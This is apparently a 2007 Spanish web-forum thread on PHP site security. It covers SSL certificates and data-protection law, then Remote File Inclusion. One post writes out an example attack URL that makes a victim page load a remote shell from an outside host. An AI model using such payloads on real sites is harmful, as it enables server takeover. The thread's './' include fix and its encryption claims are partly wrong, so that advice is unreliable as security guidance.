Cita de: SiRw2P en 16 de Junio de 2007, 20:03:28 pm

¿Seguro que tienes 14 años?

Cito un post tuyo de hace casi 10 meses:

Citar

Don't worry naveda Giñar Primero de todo están los estudios  Cool
Además la web puede esperar, si más no, ya tenemos el foro!

Para mi 4 de ESO ya es difícil así que 2º de batxillerato.. tomatelo con calma

Yo estoy en 4 y se tienen 16 años al acabarlo, por eso en algun lado has mentido.. no esque me importe mucho pero bueno  no se que se saca mintiendo en eso.

Lee bien. Ha dicho que "cuando tenia 14" no le dejaban entrar en ninguna. No ha dicho la edad actual.

Saludos!

Me acabo de dar cuenta, ^^ se me ha ido la cabeza perdón.

G2K la comunidad no solo es naveda, no solo el sabe PHP..... ya en varios post te pasa igual solo le preguntas a el obviando a los demás para eso usa los MP. Sin mala intención 

Por eso me extraño... desde la web de la "empreza" de este usuario no se puede comprar directamente, si no que lo hace desde sistemas exteriores (paypal, westerunion) por eso creo que no le hace falta.

Un certificado se imprime en pantalla através de la dirección como dije o el famoso candadito, pero se imprime en pantalla.

Mork yo he tenido webs, en la actualidad no tengno ninguna jeje.

tienes que contratar un certificado de seguridad, para que transmita los datos entre 128bits y que nadie pueda descrifarlos etc. Puedes enconrtar certificados desde 30€/año hasta más de 1.000€/año. Si no quieres un certificado, lo bueno seria tener un buen abogado y demás. como antes te dije.

Suerte!

Te confundes amigo. No hace falta tener certificados de seguridad de ningun tipo (SSL, QuickSSL u otro tipo). Estos tipo de cifrados encriptan los datos como bien dices a diferente nivel de "bits" (incluso ahí de 214 bits) de aplicación / usuario / servidor y que a la hora de implantar un negocio en internet no son necesarios por ley tenerlos implementados pero si, si nos preocupamos por nuestros clientes y su seguridad.

Lo que sí ahí que usar es un ajuste de LOPD (Ley de protección de datos) si tienes información confidencial de usuarios, empresas, proveedores.. que eso es otro pastel 

PD: Esa "empreza" que hablas no me transmite demasiada confianza.

Hay muchas más tío, la cosa es ingenio y buscar  ;D

Cita de: SiRw2P en 13 de Mayo de 2007, 17:53:26 pm

Para prevenir el ataque basta con usar "./" que dice que solo acepte el archivo del directorio donde esta listado.

Usar el "./" donde?

include("./" . $variable);
Lo que realiza ./ o /root/ es que solo busque en el directorio local (./) o en de root (/root/) vamos que no puedan ser llamadas páginas externas.

En realidad es una tontería, con que no se hagan includes() a páginas externas.. pero siempre es bueno saber más metodos =)

o sea que no hay solucion contra los hackers de las paginas webs? Si te haces una web simple en php te la podrian hackear? :S

Un hacker no va por RFI tío, eso es un simple  kiddie. A tu pregunta es obvio que se puede hacer páginas en PHP seguras, pero ahí que saber.

La llamada RFI (Remote File Inclusion) (Inclusión remota de archivos) que se cita aquí es una vulnerabilidad muy poco cuidada, facil de cometer / realizar y corregir.

Un ejemplo claro seria:
www.victima.com/index.php?pagina=theme1.html

Por seria cargar una página, es decir desde el servidor se llama a theme1.html. Pero ¿y si llamamos un archivo malicioso fuera del servidor?. Podriamos llamar a una shell (es una aplicación para algo asi para poder monitorear todo el servidor)

www.victima.com/index.php?page=http:://miweb.com/shell.txt
Ala.. y tendremos control total del servidor, por descuidar el filtrado.

Para prevenir el ataque basta con usar "./" que dice que solo acepte el archivo del directorio donde esta listado.